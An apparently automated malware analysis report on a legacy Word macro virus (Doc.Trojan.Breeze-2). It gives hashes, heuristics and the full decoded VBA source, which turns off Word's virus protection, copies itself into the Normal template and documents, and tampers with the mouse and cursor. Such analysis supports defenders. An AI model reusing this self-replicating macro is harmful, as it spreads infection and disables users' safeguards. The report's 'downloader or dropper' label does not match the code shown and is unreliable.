Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 26bc8dd7a91fa2a7…

MALICIOUS

Office (OLE)

33.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 900bd1d77d02d0e698730d58cd92b4c1 SHA-1: 5e5860d33c8207df8026f66c902684b5cfe99439 SHA-256: 26bc8dd7a91fa2a70b9a28a467d9949c352d1187e60c7a4afa34edb570434a69
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Office document containing a VBA macro that executes via the AutoClose event. The macro attempts to copy itself to the Normal template and the active document, and conditionally manipulates mouse button assignments or hides the cursor. This behavior is indicative of a downloader or dropper malware.

Heuristics 4

  • ClamAV: Doc.Trojan.Breeze-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Breeze-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1166 bytes
SHA-256: 178f48cc1823ed32282d3a4808aca8698852f4d465fe335f6deb347a86b7ef8f
Detection
ClamAV: Doc.Trojan.Breeze-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "storm"
Private Declare Function SwapMouseButton Lib "USER32" (ByVal bSwap As Long) As Long
Private Declare Function ShowCursor Lib "USER32" (ByVal fShow As Integer) As Integer
Sub AutoClose()
On Error Resume Next
Options.VirusProtection = False
If Len(NormalTemplate.VBProject.VBComponents.Item("storm")) < 1 Then Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "storm", wdOrganizerObjectProjectItems
If Len(ActiveDocument.VBProject.VBComponents.Item("storm")) < 1 Then Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "storm", wdOrganizerObjectProjectItems
ActiveDocument.Save
J = Minute(Now()) Mod 2
k = day(Now()) Mod 2
If k <> 0 And J = 0 Then
      SwapMouseButton &H2
End If
If Month(Now()) = 8 And day(Now()) = 11 Then
    While ShowCursor(False) >= 0
    Wend
    MsgBox "Solar Eclipse 12.35 PM"
End If
End Sub